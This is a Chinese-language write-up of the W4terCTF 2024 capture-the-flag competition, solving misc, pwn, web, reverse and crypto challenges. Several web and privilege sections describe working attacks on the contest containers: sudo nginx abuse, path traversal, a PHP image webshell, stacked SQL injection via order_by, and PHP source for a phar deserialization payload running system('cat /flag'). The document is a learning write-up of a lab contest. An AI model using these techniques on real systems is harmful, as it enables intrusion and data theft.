0%

W4terCTF 2024 Writeup

前言

这是我第一次参加 CTF 竞赛,感觉还是很好玩的,也很有收获
由于本人是第一次参加CTF比赛,所以一开始不知道得到flag需要截图,所以有些题目没有flag截图,一些流程的图片也没有截到。但是我会尽量将思路讲清楚的

Writeup

MISC

broken.mp4

该题使用untrunc软件,以下载附件得到的第一个视频为reference file,以第二个视频为truncate file,生成第二个视频的修复视频,在视频的最后就可以获得flag

Sign in

该题通过在榜单寻找W4terDr0p队伍,即可获得flag

Priv Escape

通过sudo -l 可以发现,/usr/sbin/nginx对于当前用户,是被r00t赋权执行的,这就是本题的突破口。那么,解题的流程就应该是:通过r00t开启nginx服务,暴露一个端口,当前用户在访问这个端口的时候,可以通过该端口获取flag
具体流程:
直接开启nginx肯定是不可行的,关注到nginx的启动命令,可以通过-c 指定nginx.conf的路径。所以要先自己写一个nginx.conf,内容如下(只截取重要部分):

这里要指定pid的路径,a.pid是自己创建的,而且这个pid的值需要先通过sudo -u r00t /usr/sbin/nginx启动nginx,并用ps -ef | grep nginx 获取到(此处为120),再通过echo输入到a.pid

这些都要指定到可以访问的目录,否则会报错

所有的include 也要注释掉,不然会报错

此处暴露18888端口供当前用户访问

tips:所有的文件创建都可以通过touch + echo 的方式写入,如果写错了,就rm后重写

然后就可以通过sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf 开启nginx服务
tips:在此之前,要确定/home/W4terCTFPlayer下的所有文件可读,可以通过 chmod -R 777 /home/W4terCTFPlayer 实现

最后,就可以通过curl 127.0.0.1:18888 访问到flag啦

GZ GPT

一开始真的是一点头绪没有,只知道flag、CTF输入的时候会有不一样的回答,然后就一直卡在这。
然后后面有出现的这些“东西”,我真的有一大段时间认为是乱码!!!因为我用cmd的时候会有乱码出现,然后一直没有管(啊啊啊救命)

实际上认真观察之后可以发现,这里是有两种图案,而且有八个,所以就能联想到是八位二进制
那么我们可以验证一下,发现第一第二个二进制转ASCII 后就是W4,就可以确认是正确的解答方法了
然后不断发请求,会发现过了一轮有一句话是没有符号的,说明已经到结尾了。这时就可以将这些二进制数输入转换器,得到以下结果

Spam 2024

首先拿到一个很长的垃圾邮件,很容易想到是Spam Encode生成的,Decode 后得到如下内容:

1
59,6f,75,20,6c,69,6b,65,20,65,6d,6f,6a,69,73,2c,20,64,6f,6e,27,74,20,79,6f,75,3f,0a,0a,01f643,01f4b5,01f33f,01f3a4,01f6aa,01f30f,01f40e,01f94b,01f6ab,01f606,2705,01f606,01f6b0,01f4c2,01f32a,263a,01f6e9,01f30f,01f4c2,01f579,01f993,01f405,01f375,01f388,01f600,01f504,01f6ab,01f3a4,01f993,2705,01f4ee,01f3a4,01f385,01f34e,01f643,01f309,01f383,01f34d,01f374,01f463,01f6b9,01f923,01f418,01f3f9,263a,01f463,01f4a7,01f463,01f993,01f33f,2328,01f32a,01f30f,01f643,01f375,2753,2602,01f309,01f606,01f3f9,01f375,01f4a7,01f385,01f449,01f30a,01f6b9,01f6aa,01f374,01f60e,01f383,01f32a,01f643,01f441,01f94b,01f451,01f4a7,01f418,01f3a4,01f94b,01f418,01f6e9,01f923,01f309,01f6e9,23e9,01f60d,2753,01f418,01f621,2600,01f60d,01f643,01f601,01f600,01f601,01f6ab,01f4c2,2705,2603,01f6ab,01f60e,01f52a,01f451,01f600,01f579,01f6ab,01f60d,01f32a,01f4c2,01f44c,01f34d,01f44c,01f993,01f590,01f923,01f60e,01f3ce,01f34d,01f3f9,01f34c,01f34d,01f3a4,2600,01f3f9,01f388,01f6b0,01f4a7,2600,2709,01f3f9,01f34d,01f993,01f385,01f374,2602,23e9,01f6aa,01f40d,263a,01f418,01f607,01f621,01f375,01f30f,01f993,01f375,01f6e9,01f4c2,01f44c,01f3f9,01f5d2,01f5d2,0a,0a,42,74,77,2c,20,74,68,65,20,6b,65,79,20,69,73,20,22,4b,45,59,22

可以看到,这里面包含了两种编码,一种是59形式 ,另一种是01f643 形式,第一种很容易看出是十六进制,所以放到 CyberChef 中解码得到如下内容:

根据提示,第二种形式的编码应该是 emoji 的 Unicode 编码,所以我写了一个小程序对其进行转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def unicode_to_emoji(input_string):
# 将输入的unicode字符串按逗号分割成列表
unicode_list = input_string.split(',')

# 创建一个空列表,用于存储转换后的emoji
emoji_list = []

# 遍历unicode列表,将每个unicode转换为对应的emoji,并加入到emoji列表中
for unicode_char in unicode_list:
try:
emoji_char = chr(int(unicode_char.strip(), 16))
emoji_list.append(emoji_char)
except ValueError:
print(f"Invalid Unicode: {unicode_char.strip()}")

# 返回逗号分隔的转换后的emoji字符串
return ''.join(emoji_list)


# 测试
unicode_input = input("请输入以逗号分隔的Unicode字符串:")
emoji_output = unicode_to_emoji(unicode_input)
print("转换后的Emoji字符串为:", emoji_output)

得到内容如下:

1
🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅😆🚰📂🌪☺🛩🌏📂🕹🦓🐅🍵🎈😀🔄🚫🎤🦓✅📮🎤🎅🍎🙃🌉🎃🍍🍴👣🚹🤣🐘🏹☺👣💧👣🦓🌿⌨🌪🌏🙃🍵❓☂🌉😆🏹🍵💧🎅👉🌊🚹🚪🍴😎🎃🌪🙃👁🥋👑💧🐘🎤🥋🐘🛩🤣🌉🛩⏩😍❓🐘😡☀😍🙃😁😀😁🚫📂✅☃🚫😎🔪👑😀🕹🚫😍🌪📂👌🍍👌🦓🖐🤣😎🏎🍍🏹🍌🍍🎤☀🏹🎈🚰💧☀✉🏹🍍🦓🎅🍴☂⏩🚪🐍☺🐘😇😡🍵🌏🦓🍵🛩📂👌🏹🗒🗒

这个编码也能比较容易看出,就是emoji-AES编码(emoji-AES编码的开头和结尾是有一定格式的)
那么关键就在于密钥,提示中说了密钥为KEY,但是解密一直在报错,奇怪了!密文大概率是没有错误的,也没有其他提示密文要做进一步变换,那么难道是密钥的问题吗?
这里出题人给我们挖了一个“小”坑,那就是 KEY 并不是密钥,🔑才是,因为 “I like emoji” 😂
解密成功得到如下内容:

1
0x???? ⊕ dxBUQVJndGJbbGByE3tGUW57VxV0bH9db3FSe2YFUndUexVUYWl/QW1FAW1/bW57EhQSEF0=

这里的提示倒是蛮明显的,左边是一个4位16进制数,中间是异或,右边是类似于base64的编码。既然只是4位16进制,那么最大也就65536,完全可以爆破得出明文。
所以写个代码把所有可能结果输出,然后找就好啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import base64

# Base64 编码的字符串
encoded_data = 'dxBUQVJndGJbbGByE3tGUW57VxV0bH9db3FSe2YFUndUexVUYWl/QW1FAW1/bW57EhQSEF0='

# Base64 解码
decoded_bytes = base64.b64decode(encoded_data)

# 遍历所有可能的0x0000到0xFFFF(65535)
for i in range(0x10000):
# 将整数i转化为两字节形式
key = i.to_bytes(2, 'little')

# 创建用于XOR操作的完整密钥,重复匹配数据长度
full_key = key * (len(decoded_bytes) // len(key)) + key[:len(decoded_bytes) % len(key)]

# XOR解密
xored_result = bytes([b ^ k for b, k in zip(decoded_bytes, full_key)])

# 尝试解码为字符串,检查是否有意义的输出(ASCII可打印字符)
try:
decoded_text = xored_result.decode('ascii')
# 打印可能有意义的结果,并且第一个字符为W,第二个字符为4
if all(32 <= ord(c) <= 126 or c in '\r\n\t' for c in decoded_text) and decoded_text[0] == 'W' and decoded_text[1] == '4':
print(f'Key {i:04x}:', decoded_text)
except UnicodeDecodeError:
# 如果无法解码为ASCII,忽略错误
continue

得出明文如下:
Key 2420: W4terCTF{H@V3_fuN_w1TH_yOUr_F!rSt_5pAM_eMa!I_IN_2024}

Pwn

Remember It 0

该题通过访问容器,连续答对10个string后,获得shell,ls发现目录中有flag,再用cat flag 命令得到flag

Web

GitZip

本题用到burp抓包,在routes.js文件中发现其中aget(‘/:htmlname’) 可以穿透攻击,将htmlname设为../就可以访问到父级目录,通过这个方法,在/tmp/flag前面不断加../,一层一层往上测试(在哪一层我忘记了,当时没有截图),用burp发送Get请求报文,就能在响应报文中找到flag了。
这里有个要注意的点是url必须通过编码再发送请求,否则无法找到flag。

PNG Server

首先用.txt写一个一句话木马,在文件头部加上GIF87a,这样就能识别为gif,可以成功上传
然后,注意到php.ini中有cgi.fix_pathinfo=1 这么一句话。
cgi.fix_pathinfo的解释如下:
该选项位于配置文件php.ini中,默认值为1,表示开启。当php遇到文件路径/test.png/x.php时,若/test.png/x.php不存在,则会去掉最后的/x.php,然后判断/test.png是否存在,若存在,则把/test.png当做文件/test.png/x.php解析,如若test.png还不存在如果在其前面还有后缀,继续前面的步骤,以此类推。若是关闭该选项,访问/test.jpg/x.php 只会返回找不到文件。

所以,上传图片后,用burp抓到响应报文,获取到图片的位置,再使用蚁剑连接,配置如下:
利用上面提到的性质,只需要在.png后面再添加 /任意名字.php,这样图片马就能被当成php执行了

连接成功后,回到父级目录,就能找到/flag

User Manager

该题在查看main.go的时候,发现在order_by字段作sql注入。
首先通过burp抓到一个正常的Get /users包,通过修改order_by= 后的字段,猜出名字的列名是Name和密码的列名是Secret,然后猜想数据表名叫users,经过测试发现没有问题。
然后将order_by= 后的字段改为以下语句
Secret; INSERT INTO users (Name) SELECT Secret FROM users;
意思是将Secret列的内容全部覆盖Name列内容
经过编码后是
Secret%3B%20INSERT%20INTO%20users%20(Name)%20SELECT%20Secret%20FROM%20users%3B
这样在响应报文中就会发现,Name字段中出现了flag

Auto Unserialize

这是一个反序列化的题,在访问到的php代码中发现file_exist的参数是可以人为指定的

而且,对于文件的上传也没有很强的检测,只是判断是不是jpg
所以可以用 phar反序列化,构造一个 伪装成jpg的 .phar文件,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class command_test{
public $command = "system('cat /flag');";
}

$user = new command_test();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();
?>

执行后得到 .phar 文件,用curl 上传文件,发现上传成功

然后在网页地址栏输入以下url:
http://127.0.0.1:49962/?img_file=phar://check.jpg

就能获取到flag了

Reverse

Shuffle Puts

使用BinaryAI,输入meow文件,在ASCII字符串中获取到flag

BruteforceMe

首先拿到一个elf文件,放到BinaryAI中,看一下这个文件相关的函数,以下是main函数

可以看到几个提示:
1、 flag的长度应该为0x2b,也就是43
2、 flag会被FUN_00101209函数处理,然后再被FUN_00101290 函数处理
3、 当输入的flag长度正确,即使内容不正确,也会有一个语句提示正确的位数
4、 查看这两个函数,都是对flag做一定的转换,主要是第二个函数,是一个base64编码的函数
知道了以上信息之后,就可以通过输出,开始猜这个flag是什么。
以下编写了一个脚本,实现的效果是,对 { } 内的值猜测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash

# 待输入的字符串
input_string="W4terCTF{UNr31AT3DN6YtEs_caN_b3_3n1m3RAtEd}"

# num
# _6Y
input_length=${#input_string}

# 生成一个包含所有可能字符的数组
all_chars=({0..9} {A..Z} {a..z} _)
num_chars=${#all_chars[@]}

# 定义修改位置的起点
start_position=19

# 初始化最大匹配数字和字符串
max_matched=0
max_matched_string=""

# 循环调用程序
for ((i=0; i<$num_chars; i++)); do
for ((j=0; j<$num_chars; j++)); do
# 构建当前的变化字符串
new_string="${input_string:0:$start_position}${all_chars[i]}${all_chars[j]}${input_string:$((start_position + 2))}"

# 调用程序并获取输出结果
result=$(echo "$new_string" | ./BruteforceMe)
#echo "$new_string"
#echo "$result"
# 提取第一个数字值
matched=$(echo "$result" | grep -oP '\d+(?= out of)')
if [ $matched -gt $max_matched ]; then
max_matched=$matched
max_matched_string=$new_string
fi
done
done

# 输出第一个数字值最大的字符串
echo "String with the maximum first digit: $max_matched_string"

这个脚本是半自动的,每一次都需要自己修改start_position和input_string,在全都过一遍之后发现并没有全对,奇怪了!

其实是本身这个脚本有缺陷,在base64编码中,应该是每3个字符为一组,改成4个字符。而在这个脚本中,其实是每两个字符进行猜测,这样很有可能在某个位置猜错了,所以需要人工排错。
那应该怎样做呢?也是通过3个字符为一组这个性质,一个个组排查,比如:
先将UNr全部替换为某个一定不会在flag出现的符号,输入程序

发现正确的数量少了4个,说明这个组都是对的。
通过这样的方法一步步排查,最终发现是 N6Y 组和 n1m 组出现了问题,此时如何纠错呢?
因为每个组的长度为3,那么肯定前两个字符或者后两个字符,是用脚本被一起猜的,比如,在n1m 中,1m是被一起猜出来的。
那么现在我对n1这两个位置,用前面的脚本猜,就会发现n1变成了nu,相同的方法用于N6Y ,发现变成 _6Y
把新的flag提交到程序,发现终于对了

后记:其实在半自动脚本那里会有更简单的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/bin/bash

# 待输入的字符串
input_string="W4terCTF{000000000000000000000000000000000}"

# 生成一个包含所有可能字符的数组
all_chars=({0..9} {A..Z} {a..z} _)
num_chars=${#all_chars[@]}

# 初始化最大匹配数字和字符串
max_matched=16 # W4terCTF 不需要判断
max_matched_string="W4terCTF{"

# 每次循环遍历三个字符
for ((i=9; i<42; i+=3)); do
# 第一个字符
max_string_first_round="$max_matched_string"
max_result_first_round="$max_matched"
break_all=0
for ((j=0; j<$num_chars && break_all == 0; j++)); do
new_string_first_round="${max_string_first_round:0:i}${all_chars[j]}${input_string:i+1}"
result_first_round=$(echo "$new_string_first_round" | ./BruteforceMe)
matched_first_round=$(echo "$result_first_round" | grep -oP '\d+(?= out of)')

if [[ "$matched_first_round" -gt "$max_result_first_round" ]]; then
max_matched="$matched_first_round"
max_matched_string="$new_string_first_round"
max_string_second_round="$max_matched_string"
echo "$max_matched"
echo "$max_matched_string"
# 第二个字符
for ((k=0; k<$num_chars && break_all == 0; k++)); do
new_string_second_round="${max_string_second_round:0:i+1}${all_chars[k]}${input_string:i+2}"
result_second_round=$(echo "$new_string_second_round" | ./BruteforceMe)
matched_second_round=$(echo "$result_second_round" | grep -oP '\d+(?= out of)')

if [[ "$matched_second_round" -gt "$max_matched" ]]; then
max_matched="$matched_second_round"
max_matched_string="$new_string_second_round"
max_string_third_round="$max_matched_string"
echo "$max_matched"
echo "$max_matched_string"
# 第三个字符
for ((m=0; m<$num_chars && break_all == 0; m++)); do
new_string_third_round="${max_string_third_round:0:i+2}${all_chars[m]}${input_string:i+3}"
result_third_round=$(echo "$new_string_third_round" | ./BruteforceMe)
matched_third_round=$(echo "$result_third_round" | grep -oP '\d+(?= out of)')

if [[ "$matched_third_round" -gt "$max_matched" ]]; then
max_matched="$matched_third_round"
max_matched_string="$new_string_third_round"
if (( max_matched % 4 == 0 )); then
break_all=1
break
fi
echo "$max_matched"
echo "$max_matched_string"
fi
done
fi
done
fi
done
done

echo "Flag is: $max_matched_string"

但是这样得出的 flag 还是有问题的,需要人工排查
Flag is: W4terCTF{UNr31AT3D_6Yt43_00NNb3N3n1m_RAt4d}

Crypto

Wish

这个题真的搞心态呀,放在密码题,但是并不是密码题做法呀

可以看到,这里是算抽奖概率的函数,如果“运气”足够好,那就能直接返回flag

为什么要说是“运气”呢?仔细看第一行,random是设定seed的,也就是说,每一次抽奖,假如seed确定,结果也是确定的;而且index的值决定了for循环的次数
seed是由time决定的,time的范围可以从下面得到:

也就是0到86399
所以,写一个python代码,遍历0到86399的seed,看哪一个的算出 abs(random.randint(0, 1919810) - 114514)的值小于等于1,那么 probability的值就能大于10,代码如下:

1
2
3
4
5
6
7
8
9
import random
for i in range(86400):
random.seed(i)
# print(random.randint(0, 1919810))
temp = abs(random.randint(0, 1919810) - 114514)
if temp <= 1:
print(i)
print(temp)
break

得出结果是seed为20544,abs(random.randint(0, 1919810) - 114514)的值为1
也就是说,有10%的概率可以抽到,开抽!
通过burp设定好报文格式,保证每次的time和index是一样的,格式如下:

抽了n次之后,就发现flag了

赏个鸡腿🍗